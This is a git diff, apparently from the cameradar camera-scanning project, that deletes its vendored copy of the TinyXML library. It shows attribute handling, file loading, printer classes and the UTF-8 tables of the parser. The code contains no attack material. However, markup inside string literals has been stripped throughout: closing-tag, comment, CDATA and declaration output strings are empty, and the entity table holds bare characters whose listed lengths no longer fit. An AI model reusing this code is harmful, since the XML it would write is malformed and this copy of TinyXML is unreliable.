-TiXmlElement::QueryBoolAttribute(const char* name, bool* bval) const { - const TiXmlAttribute* node = attributeSet.Find(name); - if (!node) return TIXML_NO_ATTRIBUTE; - - int result = TIXML_WRONG_TYPE; - if (StringEqual(node->Value(), "true", true, TIXML_ENCODING_UNKNOWN) || - StringEqual(node->Value(), "yes", true, TIXML_ENCODING_UNKNOWN) || - StringEqual(node->Value(), "1", true, TIXML_ENCODING_UNKNOWN)) { - *bval = true; - result = TIXML_SUCCESS; - } else if (StringEqual(node->Value(), "false", true, TIXML_ENCODING_UNKNOWN) || - StringEqual(node->Value(), "no", true, TIXML_ENCODING_UNKNOWN) || - StringEqual(node->Value(), "0", true, TIXML_ENCODING_UNKNOWN)) { - *bval = false; - result = TIXML_SUCCESS; - } - return result; -} - -#ifdef TIXML_USE_STL -int -TiXmlElement::QueryIntAttribute(const std::string& name, int* ival) const { - const TiXmlAttribute* attrib = attributeSet.Find(name); - if (!attrib) return TIXML_NO_ATTRIBUTE; - return attrib->QueryIntValue(ival); -} -#endif - -int -TiXmlElement::QueryDoubleAttribute(const char* name, double* dval) const { - const TiXmlAttribute* attrib = attributeSet.Find(name); - if (!attrib) return TIXML_NO_ATTRIBUTE; - return attrib->QueryDoubleValue(dval); -} - -#ifdef TIXML_USE_STL -int -TiXmlElement::QueryDoubleAttribute(const std::string& name, double* dval) const { - const TiXmlAttribute* attrib = attributeSet.Find(name); - if (!attrib) return TIXML_NO_ATTRIBUTE; - return attrib->QueryDoubleValue(dval); -} -#endif - -void -TiXmlElement::SetAttribute(const char* name, int val) { - TiXmlAttribute* attrib = attributeSet.FindOrCreate(name); - if (attrib) { attrib->SetIntValue(val); } -} - -#ifdef TIXML_USE_STL -void -TiXmlElement::SetAttribute(const std::string& name, int val) { - TiXmlAttribute* attrib = attributeSet.FindOrCreate(name); - if (attrib) { attrib->SetIntValue(val); } -} -#endif - -void -TiXmlElement::SetDoubleAttribute(const char* name, double val) { - TiXmlAttribute* attrib = attributeSet.FindOrCreate(name); - if (attrib) { attrib->SetDoubleValue(val); } -} - -#ifdef TIXML_USE_STL -void -TiXmlElement::SetDoubleAttribute(const std::string& name, double val) { - TiXmlAttribute* attrib = attributeSet.FindOrCreate(name); - if (attrib) { attrib->SetDoubleValue(val); } -} -#endif - -void -TiXmlElement::SetAttribute(const char* cname, const char* cvalue) { - TiXmlAttribute* attrib = attributeSet.FindOrCreate(cname); - if (attrib) { attrib->SetValue(cvalue); } -} - -#ifdef TIXML_USE_STL -void -TiXmlElement::SetAttribute(const std::string& _name, const std::string& _value) { - TiXmlAttribute* attrib = attributeSet.FindOrCreate(_name); - if (attrib) { attrib->SetValue(_value); } -} -#endif - -void -TiXmlElement::Print(FILE* cfile, int depth) const { - int i; - assert(cfile); - for (i = 0; i < depth; i++) { fprintf(cfile, " "); } - - fprintf(cfile, "<%s", value.c_str()); - - const TiXmlAttribute* attrib; - for (attrib = attributeSet.First(); attrib; attrib = attrib->Next()) { - fprintf(cfile, " "); - attrib->Print(cfile, depth); - } - - // There are 3 different formatting approaches: - // 1) An element without children is printed as a node - // 2) An element with only a text child is printed as text - // 3) An element with children is printed on multiple lines. - TiXmlNode* node; - if (!firstChild) { - fprintf(cfile, " />"); - } else if (firstChild == lastChild && firstChild->ToText()) { - fprintf(cfile, ">"); - firstChild->Print(cfile, depth + 1); - fprintf(cfile, "", value.c_str()); - } else { - fprintf(cfile, ">"); - - for (node = firstChild; node; node = node->NextSibling()) { - if (!node->ToText()) { fprintf(cfile, "\n"); } - node->Print(cfile, depth + 1); - } - fprintf(cfile, "\n"); - for (i = 0; i < depth; ++i) { fprintf(cfile, " "); } - fprintf(cfile, "", value.c_str()); - } -} - -void -TiXmlElement::CopyTo(TiXmlElement* target) const { - // superclass: - TiXmlNode::CopyTo(target); - - // Element class: - // Clone the attributes, then clone the children. - const TiXmlAttribute* attribute = 0; - for (attribute = attributeSet.First(); attribute; attribute = attribute->Next()) { - target->SetAttribute(attribute->Name(), attribute->Value()); - } - - TiXmlNode* node = 0; - for (node = firstChild; node; node = node->NextSibling()) { - target->LinkEndChild(node->Clone()); - } -} - -bool -TiXmlElement::Accept(TiXmlVisitor* visitor) const { - if (visitor->VisitEnter(*this, attributeSet.First())) { - for (const TiXmlNode* node = FirstChild(); node; node = node->NextSibling()) { - if (!node->Accept(visitor)) break; - } - } - return visitor->VisitExit(*this); -} - -TiXmlNode* -TiXmlElement::Clone() const { - TiXmlElement* clone = new TiXmlElement(Value()); - if (!clone) return 0; - - CopyTo(clone); - return clone; -} - -const char* -TiXmlElement::GetText() const { - const TiXmlNode* child = this->FirstChild(); - if (child) { - const TiXmlText* childText = child->ToText(); - if (childText) { return childText->Value(); } - } - return 0; -} - -TiXmlDocument::TiXmlDocument() : TiXmlNode(TiXmlNode::TINYXML_DOCUMENT) { - tabsize = 4; - useMicrosoftBOM = false; - ClearError(); -} - -TiXmlDocument::TiXmlDocument(const char* documentName) : TiXmlNode(TiXmlNode::TINYXML_DOCUMENT) { - tabsize = 4; - useMicrosoftBOM = false; - value = documentName; - ClearError(); -} - -#ifdef TIXML_USE_STL -TiXmlDocument::TiXmlDocument(const std::string& documentName) -: TiXmlNode(TiXmlNode::TINYXML_DOCUMENT) { - tabsize = 4; - useMicrosoftBOM = false; - value = documentName; - ClearError(); -} -#endif - -TiXmlDocument::TiXmlDocument(const TiXmlDocument& copy) : TiXmlNode(TiXmlNode::TINYXML_DOCUMENT) { - copy.CopyTo(this); -} - -TiXmlDocument& TiXmlDocument::operator=(const TiXmlDocument& copy) { - Clear(); - copy.CopyTo(this); - return *this; -} - -bool -TiXmlDocument::LoadFile(TiXmlEncoding encoding) { - return LoadFile(Value(), encoding); -} - -bool -TiXmlDocument::SaveFile() const { - return SaveFile(Value()); -} - -bool -TiXmlDocument::LoadFile(const char* _filename, TiXmlEncoding encoding) { - TIXML_STRING filename(_filename); - value = filename; - - // reading in binary mode so that tinyxml can normalize the EOL - FILE* file = TiXmlFOpen(value.c_str(), "rb"); - - if (file) { - bool result = LoadFile(file, encoding); - fclose(file); - return result; - } else { - SetError(TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN); - return false; - } -} - -bool -TiXmlDocument::LoadFile(FILE* file, TiXmlEncoding encoding) { - if (!file) { - SetError(TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN); - return false; - } - - // Delete the existing data: - Clear(); - location.Clear(); - - // Get the file size, so we can pre-allocate the string. HUGE speed impact. - long length = 0; - fseek(file, 0, SEEK_END); - length = ftell(file); - fseek(file, 0, SEEK_SET); - - // Strange case, but good to handle up front. - if (length <= 0) { - SetError(TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN); - return false; - } - - // Subtle bug here. TinyXml did use fgets. But from the XML spec: - // 2.11 End-of-Line Handling - // - // - // ...the XML processor MUST behave as if it normalized all line breaks in external - // parsed entities (including the document entity) on input, before parsing, by translating - // both the two-character sequence #xD #xA and any #xD that is not followed by #xA to - // a single #xA character. - // - // - // It is not clear fgets does that, and certainly isn't clear it works cross platform. - // Generally, you expect fgets to translate from the convention of the OS to the c/unix - // convention, and not work generally. - - /* - while( fgets( buf, sizeof(buf), file ) ) - { - data += buf; - } - */ - - char* buf = new char[length + 1]; - buf[0] = 0; - - if (fread(buf, length, 1, file) != 1) { - delete[] buf; - SetError(TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN); - return false; - } - - // Process the buffer in place to normalize new lines. (See comment above.) - // Copies from the 'p' to 'q' pointer, where p can advance faster if - // a newline-carriage return is hit. - // - // Wikipedia: - // Systems based on ASCII or a compatible character set use either LF (Line feed, '\n', 0x0A, - // 10 in decimal) or - // CR (Carriage return, '\r', 0x0D, 13 in decimal) individually, or CR followed by LF (CR+LF, - // 0x0D 0x0A)... - // * LF: Multics, Unix and Unix-like systems (GNU/Linux, AIX, Xenix, Mac OS X, FreeBSD, - //etc.), BeOS, Amiga, RISC OS, and others - // * CR+LF: DEC RT-11 and most other early non-Unix, non-IBM OSes, CP/M, MP/M, DOS, OS/2, - //Microsoft Windows, Symbian OS - // * CR: Commodore 8-bit machines, Apple II family, Mac OS up to version 9 and OS-9 - - const char* p = buf; // the read head - char* q = buf; // the write head - const char CR = 0x0d; - const char LF = 0x0a; - - buf[length] = 0; - while (*p) { - assert(p < (buf + length)); - assert(q <= (buf + length)); - assert(q <= p); - - if (*p == CR) { - *q++ = LF; - p++; - if (*p == LF) { // check for CR+LF (and skip LF) - p++; - } - } else { - *q++ = *p++; - } - } - assert(q <= (buf + length)); - *q = 0; - - Parse(buf, 0, encoding); - - delete[] buf; - return !Error(); -} - -bool -TiXmlDocument::SaveFile(const char* filename) const { - // The old c stuff lives on... - FILE* fp = TiXmlFOpen(filename, "w"); - if (fp) { - bool result = SaveFile(fp); - fclose(fp); - return result; - } - return false; -} - -bool -TiXmlDocument::SaveFile(FILE* fp) const { - if (useMicrosoftBOM) { - const unsigned char TIXML_UTF_LEAD_0 = 0xefU; - const unsigned char TIXML_UTF_LEAD_1 = 0xbbU; - const unsigned char TIXML_UTF_LEAD_2 = 0xbfU; - - fputc(TIXML_UTF_LEAD_0, fp); - fputc(TIXML_UTF_LEAD_1, fp); - fputc(TIXML_UTF_LEAD_2, fp); - } - Print(fp, 0); - return (ferror(fp) == 0); -} - -void -TiXmlDocument::CopyTo(TiXmlDocument* target) const { - TiXmlNode::CopyTo(target); - - target->error = error; - target->errorId = errorId; - target->errorDesc = errorDesc; - target->tabsize = tabsize; - target->errorLocation = errorLocation; - target->useMicrosoftBOM = useMicrosoftBOM; - - TiXmlNode* node = 0; - for (node = firstChild; node; node = node->NextSibling()) { - target->LinkEndChild(node->Clone()); - } -} - -TiXmlNode* -TiXmlDocument::Clone() const { - TiXmlDocument* clone = new TiXmlDocument(); - if (!clone) return 0; - - CopyTo(clone); - return clone; -} - -void -TiXmlDocument::Print(FILE* cfile, int depth) const { - assert(cfile); - for (const TiXmlNode* node = FirstChild(); node; node = node->NextSibling()) { - node->Print(cfile, depth); - fprintf(cfile, "\n"); - } -} - -bool -TiXmlDocument::Accept(TiXmlVisitor* visitor) const { - if (visitor->VisitEnter(*this)) { - for (const TiXmlNode* node = FirstChild(); node; node = node->NextSibling()) { - if (!node->Accept(visitor)) break; - } - } - return visitor->VisitExit(*this); -} - -const TiXmlAttribute* -TiXmlAttribute::Next() const { - // We are using knowledge of the sentinel. The sentinel - // have a value or name. - if (next->value.empty() && next->name.empty()) return 0; - return next; -} - -/* -TiXmlAttribute* TiXmlAttribute::Next() -{ - // We are using knowledge of the sentinel. The sentinel - // have a value or name. - if ( next->value.empty() && next->name.empty() ) - return 0; - return next; -} -*/ - -const TiXmlAttribute* -TiXmlAttribute::Previous() const { - // We are using knowledge of the sentinel. The sentinel - // have a value or name. - if (prev->value.empty() && prev->name.empty()) return 0; - return prev; -} - -/* -TiXmlAttribute* TiXmlAttribute::Previous() -{ - // We are using knowledge of the sentinel. The sentinel - // have a value or name. - if ( prev->value.empty() && prev->name.empty() ) - return 0; - return prev; -} -*/ - -void -TiXmlAttribute::Print(FILE* cfile, int /*depth*/, TIXML_STRING* str) const { - TIXML_STRING n, v; - - EncodeString(name, &n); - EncodeString(value, &v); - - if (value.find('\"') == TIXML_STRING::npos) { - if (cfile) { fprintf(cfile, "%s=\"%s\"", n.c_str(), v.c_str()); } - if (str) { - (*str) += n; - (*str) += "=\""; - (*str) += v; - (*str) += "\""; - } - } else { - if (cfile) { fprintf(cfile, "%s='%s'", n.c_str(), v.c_str()); } - if (str) { - (*str) += n; - (*str) += "='"; - (*str) += v; - (*str) += "'"; - } - } -} - -int -TiXmlAttribute::QueryIntValue(int* ival) const { - if (TIXML_SSCANF(value.c_str(), "%d", ival) == 1) return TIXML_SUCCESS; - return TIXML_WRONG_TYPE; -} - -int -TiXmlAttribute::QueryDoubleValue(double* dval) const { - if (TIXML_SSCANF(value.c_str(), "%lf", dval) == 1) return TIXML_SUCCESS; - return TIXML_WRONG_TYPE; -} - -void -TiXmlAttribute::SetIntValue(int _value) { - char buf[64]; -#if defined(TIXML_SNPRINTF) - TIXML_SNPRINTF(buf, sizeof(buf), "%d", _value); -#else - sprintf(buf, "%d", _value); -#endif - SetValue(buf); -} - -void -TiXmlAttribute::SetDoubleValue(double _value) { - char buf[256]; -#if defined(TIXML_SNPRINTF) - TIXML_SNPRINTF(buf, sizeof(buf), "%g", _value); -#else - sprintf(buf, "%g", _value); -#endif - SetValue(buf); -} - -int -TiXmlAttribute::IntValue() const { - return atoi(value.c_str()); -} - -double -TiXmlAttribute::DoubleValue() const { - return atof(value.c_str()); -} - -TiXmlComment::TiXmlComment(const TiXmlComment& copy) : TiXmlNode(TiXmlNode::TINYXML_COMMENT) { - copy.CopyTo(this); -} - -TiXmlComment& TiXmlComment::operator=(const TiXmlComment& base) { - Clear(); - base.CopyTo(this); - return *this; -} - -void -TiXmlComment::Print(FILE* cfile, int depth) const { - assert(cfile); - for (int i = 0; i < depth; i++) { fprintf(cfile, " "); } - fprintf(cfile, "", value.c_str()); -} - -void -TiXmlComment::CopyTo(TiXmlComment* target) const { - TiXmlNode::CopyTo(target); -} - -bool -TiXmlComment::Accept(TiXmlVisitor* visitor) const { - return visitor->Visit(*this); -} - -TiXmlNode* -TiXmlComment::Clone() const { - TiXmlComment* clone = new TiXmlComment(); - - if (!clone) return 0; - - CopyTo(clone); - return clone; -} - -void -TiXmlText::Print(FILE* cfile, int depth) const { - assert(cfile); - if (cdata) { - int i; - fprintf(cfile, "\n"); - for (i = 0; i < depth; i++) { fprintf(cfile, " "); } - fprintf(cfile, "\n", value.c_str()); // unformatted output - } else { - TIXML_STRING buffer; - EncodeString(value, &buffer); - fprintf(cfile, "%s", buffer.c_str()); - } -} - -void -TiXmlText::CopyTo(TiXmlText* target) const { - TiXmlNode::CopyTo(target); - target->cdata = cdata; -} - -bool -TiXmlText::Accept(TiXmlVisitor* visitor) const { - return visitor->Visit(*this); -} - -TiXmlNode* -TiXmlText::Clone() const { - TiXmlText* clone = 0; - clone = new TiXmlText(""); - - if (!clone) return 0; - - CopyTo(clone); - return clone; -} - -TiXmlDeclaration::TiXmlDeclaration(const char* _version, - const char* _encoding, - const char* _standalone) -: TiXmlNode(TiXmlNode::TINYXML_DECLARATION) { - version = _version; - encoding = _encoding; - standalone = _standalone; -} - -#ifdef TIXML_USE_STL -TiXmlDeclaration::TiXmlDeclaration(const std::string& _version, - const std::string& _encoding, - const std::string& _standalone) -: TiXmlNode(TiXmlNode::TINYXML_DECLARATION) { - version = _version; - encoding = _encoding; - standalone = _standalone; -} -#endif - -TiXmlDeclaration::TiXmlDeclaration(const TiXmlDeclaration& copy) -: TiXmlNode(TiXmlNode::TINYXML_DECLARATION) { - copy.CopyTo(this); -} - -TiXmlDeclaration& TiXmlDeclaration::operator=(const TiXmlDeclaration& copy) { - Clear(); - copy.CopyTo(this); - return *this; -} - -void -TiXmlDeclaration::Print(FILE* cfile, int /*depth*/, TIXML_STRING* str) const { - if (cfile) fprintf(cfile, ""); - if (str) (*str) += "?>"; -} - -void -TiXmlDeclaration::CopyTo(TiXmlDeclaration* target) const { - TiXmlNode::CopyTo(target); - - target->version = version; - target->encoding = encoding; - target->standalone = standalone; -} - -bool -TiXmlDeclaration::Accept(TiXmlVisitor* visitor) const { - return visitor->Visit(*this); -} - -TiXmlNode* -TiXmlDeclaration::Clone() const { - TiXmlDeclaration* clone = new TiXmlDeclaration(); - - if (!clone) return 0; - - CopyTo(clone); - return clone; -} - -void -TiXmlUnknown::Print(FILE* cfile, int depth) const { - for (int i = 0; i < depth; i++) fprintf(cfile, " "); - fprintf(cfile, "<%s>", value.c_str()); -} - -void -TiXmlUnknown::CopyTo(TiXmlUnknown* target) const { - TiXmlNode::CopyTo(target); -} - -bool -TiXmlUnknown::Accept(TiXmlVisitor* visitor) const { - return visitor->Visit(*this); -} - -TiXmlNode* -TiXmlUnknown::Clone() const { - TiXmlUnknown* clone = new TiXmlUnknown(); - - if (!clone) return 0; - - CopyTo(clone); - return clone; -} - -TiXmlAttributeSet::TiXmlAttributeSet() { - sentinel.next = &sentinel; - sentinel.prev = &sentinel; -} - -TiXmlAttributeSet::~TiXmlAttributeSet() { - assert(sentinel.next == &sentinel); - assert(sentinel.prev == &sentinel); -} - -void -TiXmlAttributeSet::Add(TiXmlAttribute* addMe) { -#ifdef TIXML_USE_STL - assert(!Find(TIXML_STRING(addMe->Name()))); // Shouldn't be multiply adding to the set. -#else - assert(!Find(addMe->Name())); // Shouldn't be multiply adding to the set. -#endif - - addMe->next = &sentinel; - addMe->prev = sentinel.prev; - - sentinel.prev->next = addMe; - sentinel.prev = addMe; -} - -void -TiXmlAttributeSet::Remove(TiXmlAttribute* removeMe) { - TiXmlAttribute* node; - - for (node = sentinel.next; node != &sentinel; node = node->next) { - if (node == removeMe) { - node->prev->next = node->next; - node->next->prev = node->prev; - node->next = 0; - node->prev = 0; - return; - } - } - assert(0); // we tried to remove a non-linked attribute. -} - -#ifdef TIXML_USE_STL -TiXmlAttribute* -TiXmlAttributeSet::Find(const std::string& name) const { - for (TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next) { - if (node->name == name) return node; - } - return 0; -} - -TiXmlAttribute* -TiXmlAttributeSet::FindOrCreate(const std::string& _name) { - TiXmlAttribute* attrib = Find(_name); - if (!attrib) { - attrib = new TiXmlAttribute(); - Add(attrib); - attrib->SetName(_name); - } - return attrib; -} -#endif - -TiXmlAttribute* -TiXmlAttributeSet::Find(const char* name) const { - for (TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next) { - if (strcmp(node->name.c_str(), name) == 0) return node; - } - return 0; -} - -TiXmlAttribute* -TiXmlAttributeSet::FindOrCreate(const char* _name) { - TiXmlAttribute* attrib = Find(_name); - if (!attrib) { - attrib = new TiXmlAttribute(); - Add(attrib); - attrib->SetName(_name); - } - return attrib; -} - -#ifdef TIXML_USE_STL -std::istream& operator>>(std::istream& in, TiXmlNode& base) { - TIXML_STRING tag; - tag.reserve(8 * 1000); - base.StreamIn(&in, &tag); - - base.Parse(tag.c_str(), 0, TIXML_DEFAULT_ENCODING); - return in; -} -#endif - -#ifdef TIXML_USE_STL -std::ostream& operator<<(std::ostream& out, const TiXmlNode& base) { - TiXmlPrinter printer; - printer.SetStreamPrinting(); - base.Accept(&printer); - out << printer.Str(); - - return out; -} - -std::string& operator<<(std::string& out, const TiXmlNode& base) { - TiXmlPrinter printer; - printer.SetStreamPrinting(); - base.Accept(&printer); - out.append(printer.Str()); - - return out; -} -#endif - -TiXmlHandle -TiXmlHandle::FirstChild() const { - if (node) { - TiXmlNode* child = node->FirstChild(); - if (child) return TiXmlHandle(child); - } - return TiXmlHandle(0); -} - -TiXmlHandle -TiXmlHandle::FirstChild(const char* value) const { - if (node) { - TiXmlNode* child = node->FirstChild(value); - if (child) return TiXmlHandle(child); - } - return TiXmlHandle(0); -} - -TiXmlHandle -TiXmlHandle::FirstChildElement() const { - if (node) { - TiXmlElement* child = node->FirstChildElement(); - if (child) return TiXmlHandle(child); - } - return TiXmlHandle(0); -} - -TiXmlHandle -TiXmlHandle::FirstChildElement(const char* value) const { - if (node) { - TiXmlElement* child = node->FirstChildElement(value); - if (child) return TiXmlHandle(child); - } - return TiXmlHandle(0); -} - -TiXmlHandle -TiXmlHandle::Child(int count) const { - if (node) { - int i; - TiXmlNode* child = node->FirstChild(); - for (i = 0; child && i < count; child = child->NextSibling(), ++i) { - // nothing - } - if (child) return TiXmlHandle(child); - } - return TiXmlHandle(0); -} - -TiXmlHandle -TiXmlHandle::Child(const char* value, int count) const { - if (node) { - int i; - TiXmlNode* child = node->FirstChild(value); - for (i = 0; child && i < count; child = child->NextSibling(value), ++i) { - // nothing - } - if (child) return TiXmlHandle(child); - } - return TiXmlHandle(0); -} - -TiXmlHandle -TiXmlHandle::ChildElement(int count) const { - if (node) { - int i; - TiXmlElement* child = node->FirstChildElement(); - for (i = 0; child && i < count; child = child->NextSiblingElement(), ++i) { - // nothing - } - if (child) return TiXmlHandle(child); - } - return TiXmlHandle(0); -} - -TiXmlHandle -TiXmlHandle::ChildElement(const char* value, int count) const { - if (node) { - int i; - TiXmlElement* child = node->FirstChildElement(value); - for (i = 0; child && i < count; child = child->NextSiblingElement(value), ++i) { - // nothing - } - if (child) return TiXmlHandle(child); - } - return TiXmlHandle(0); -} - -bool -TiXmlPrinter::VisitEnter(const TiXmlDocument&) { - return true; -} - -bool -TiXmlPrinter::VisitExit(const TiXmlDocument&) { - return true; -} - -bool -TiXmlPrinter::VisitEnter(const TiXmlElement& element, const TiXmlAttribute* firstAttribute) { - DoIndent(); - buffer += "<"; - buffer += element.Value(); - - for (const TiXmlAttribute* attrib = firstAttribute; attrib; attrib = attrib->Next()) { - buffer += " "; - attrib->Print(0, 0, &buffer); - } - - if (!element.FirstChild()) { - buffer += " />"; - DoLineBreak(); - } else { - buffer += ">"; - if (element.FirstChild()->ToText() && element.LastChild() == element.FirstChild() && - element.FirstChild()->ToText()->CDATA() == false) { - simpleTextPrint = true; - // no DoLineBreak()! - } else { - DoLineBreak(); - } - } - ++depth; - return true; -} - -bool -TiXmlPrinter::VisitExit(const TiXmlElement& element) { - --depth; - if (!element.FirstChild()) { - // nothing. - } else { - if (simpleTextPrint) { - simpleTextPrint = false; - } else { - DoIndent(); - } - buffer += ""; - DoLineBreak(); - } - return true; -} - -bool -TiXmlPrinter::Visit(const TiXmlText& text) { - if (text.CDATA()) { - DoIndent(); - buffer += ""; - DoLineBreak(); - } else if (simpleTextPrint) { - TIXML_STRING str; - TiXmlBase::EncodeString(text.ValueTStr(), &str); - buffer += str; - } else { - DoIndent(); - TIXML_STRING str; - TiXmlBase::EncodeString(text.ValueTStr(), &str); - buffer += str; - DoLineBreak(); - } - return true; -} - -bool -TiXmlPrinter::Visit(const TiXmlDeclaration& declaration) { - DoIndent(); - declaration.Print(0, 0, &buffer); - DoLineBreak(); - return true; -} - -bool -TiXmlPrinter::Visit(const TiXmlComment& comment) { - DoIndent(); - buffer += ""; - DoLineBreak(); - return true; -} - -bool -TiXmlPrinter::Visit(const TiXmlUnknown& unknown) { - DoIndent(); - buffer += "<"; - buffer += unknown.Value(); - buffer += ">"; - DoLineBreak(); - return true; -} diff --git a/cameradar_standalone/src/tinyxmlerror.cpp b/cameradar_standalone/src/tinyxmlerror.cpp deleted file mode 100644 index 568628c..0000000 --- a/cameradar_standalone/src/tinyxmlerror.cpp +++ /dev/null @@ -1,51 +0,0 @@ -/* -www.sourceforge.net/projects/tinyxml -Original code (2.0 and earlier )copyright (c) 2000-2006 Lee Thomason (www.grinninglizard.com) - -This software is provided 'as-is', without any express or implied -warranty. In no event will the authors be held liable for any -damages arising from the use of this software. - -Permission is granted to anyone to use this software for any -purpose, including commercial applications, and to alter it and -redistribute it freely, subject to the following restrictions: - -1. The origin of this software must not be misrepresented; you must -not claim that you wrote the original software. If you use this -software in a product, an acknowledgment in the product documentation -would be appreciated but is not required. - -2. Altered source versions must be plainly marked as such, and -must not be misrepresented as being the original software. - -3. This notice may not be removed or altered from any source -distribution. -*/ - -#include "tinyxml.h" - -// The goal of the seperate error file is to make the first -// step towards localization. tinyxml (currently) only supports -// english error messages, but the could now be translated. -// -// It also cleans up the code a bit. -// - -const char* TiXmlBase::errorString[TiXmlBase::TIXML_ERROR_STRING_COUNT] = { - "No error", - "Error", - "Failed to open file", - "Error parsing Element.", - "Failed to read Element name", - "Error reading Element value.", - "Error reading Attributes.", - "Error: empty tag.", - "Error reading end tag.", - "Error parsing Unknown.", - "Error parsing Comment.", - "Error parsing Declaration.", - "Error document empty.", - "Error null (0) or unexpected EOF found in input stream.", - "Error parsing CDATA.", - "Error when TiXmlDocument added to document, because TiXmlDocument can only be at the root.", -}; diff --git a/cameradar_standalone/src/tinyxmlparser.cpp b/cameradar_standalone/src/tinyxmlparser.cpp deleted file mode 100644 index 000d5ce..0000000 --- a/cameradar_standalone/src/tinyxmlparser.cpp +++ /dev/null @@ -1,1409 +0,0 @@ -/* -www.sourceforge.net/projects/tinyxml -Original code by Lee Thomason (www.grinninglizard.com) - -This software is provided 'as-is', without any express or implied -warranty. In no event will the authors be held liable for any -damages arising from the use of this software. - -Permission is granted to anyone to use this software for any -purpose, including commercial applications, and to alter it and -redistribute it freely, subject to the following restrictions: - -1. The origin of this software must not be misrepresented; you must -not claim that you wrote the original software. If you use this -software in a product, an acknowledgment in the product documentation -would be appreciated but is not required. - -2. Altered source versions must be plainly marked as such, and -must not be misrepresented as being the original software. - -3. This notice may not be removed or altered from any source -distribution. -*/ - -#include -#include - -#include "tinyxml.h" - -//#define DEBUG_PARSER -#if defined(DEBUG_PARSER) -#if defined(DEBUG) && defined(_MSC_VER) -#include -#define TIXML_LOG OutputDebugString -#else -#define TIXML_LOG printf -#endif -#endif - -// Note tha "PutString" hardcodes the same list. This -// is less flexible than it appears. Changing the entries -// or order will break putstring. -TiXmlBase::Entity TiXmlBase::entity[TiXmlBase::NUM_ENTITY] = { { "&", 5, '&' }, - { "<", 4, '<' }, - { ">", 4, '>' }, - { """, 6, '\"' }, - { "'", 6, '\'' } }; - -// Bunch of unicode info at: -// http://www.unicode.org/faq/utf_bom.html -// Including the basic of this table, which determines the #bytes in the -// sequence from the lead byte. 1 placed for invalid sequences -- -// although the result will be junk, pass it through as much as possible. -// Beware of the non-characters in UTF-8: -// ef bb bf (Microsoft "lead bytes") -// ef bf be -// ef bf bf - -const unsigned char TIXML_UTF_LEAD_0 = 0xefU; -const unsigned char TIXML_UTF_LEAD_1 = 0xbbU; -const unsigned char TIXML_UTF_LEAD_2 = 0xbfU; - -const int TiXmlBase::utf8ByteTable[256] = - { - // 0 1 2 3 4 5 6 7 8 9 - //a b c d e f - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x00 - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x10 - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x20 - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x30 - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x40 - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x50 - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x60 - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x70 End of ASCII range - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x80 0x80 to 0xc1 invalid - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0x90 - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0xa0 - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, // 0xb0 - 1, 1, 2, 2, 2, 2, 2, 2, - 2, 2, 2, 2, 2, 2, 2, 2, // 0xc0 0xc2 to 0xdf 2 byte - 2, 2, 2, 2, 2, 2, 2, 2, - 2, 2, 2, 2, 2, 2, 2, 2, // 0xd0 - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, // 0xe0 0xe0 to 0xef 3 byte - 4, 4, 4, 4, 4, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1 // 0xf0 0xf0 to 0xf4 4 byte, 0xf5 and higher invalid - }; - -void -TiXmlBase::ConvertUTF32ToUTF8(unsigned long input, char* output, int* length) { - const unsigned long BYTE_MASK = 0xBF; - const unsigned long BYTE_MARK = 0x80; - const unsigned long FIRST_BYTE_MARK[7] = { 0x00, 0x00, 0xC0, 0xE0, 0xF0, 0xF8, 0xFC }; - - if (input < 0x80) - *length = 1; - else if (input < 0x800) - *length = 2; - else if (input < 0x10000) - *length = 3; - else if (input < 0x200000) - *length = 4; - else { - *length = 0; - return; - } // This code won't covert this correctly anyway. - - output += *length; - - // Scary scary fall throughs. - switch (*length) { - case 4: - --output; - *output = (char)((input | BYTE_MARK) & BYTE_MASK); - input >>= 6; - case 3: - --output; - *output = (char)((input | BYTE_MARK) & BYTE_MASK); - input >>= 6; - case 2: - --output; - *output = (char)((input | BYTE_MARK) & BYTE_MASK); - input >>= 6; - case 1: --output; *output = (char)(input | FIRST_BYTE_MARK[*length]); - } -} - -/*static*/ int -TiXmlBase::IsAlpha(unsigned char anyByte, TiXmlEncoding /*encoding*/) { - // This will only work for low-ascii, everything else is assumed to be a valid - // letter. I'm not sure this is the best approach, but it is quite tricky trying - // to figure out alhabetical vs. not across encoding. So take a very - // conservative approach. - - // if ( encoding == TIXML_ENCODING_UTF8 ) - // { - if (anyByte < 127) - return isalpha(anyByte); - else - return 1; // What else to do? The unicode set is huge...get the english ones right. - // } - // else - // { - // return isalpha( anyByte ); - // } -} - -/*static*/ int -TiXmlBase::IsAlphaNum(unsigned char anyByte, TiXmlEncoding /*encoding*/) { - // This will only work for low-ascii, everything else is assumed to be a valid - // letter. I'm not sure this is the best approach, but it is quite tricky trying - // to figure out alhabetical vs. not across encoding. So take a very - // conservative approach. - - // if ( encoding == TIXML_ENCODING_UTF8 ) - // { - if (anyByte < 127) - return isalnum(anyByte); - else - return 1; // What else to do? The unicode set is huge...get the english ones right. - // } - // else - // { - // return isalnum( anyByte ); - // } -} 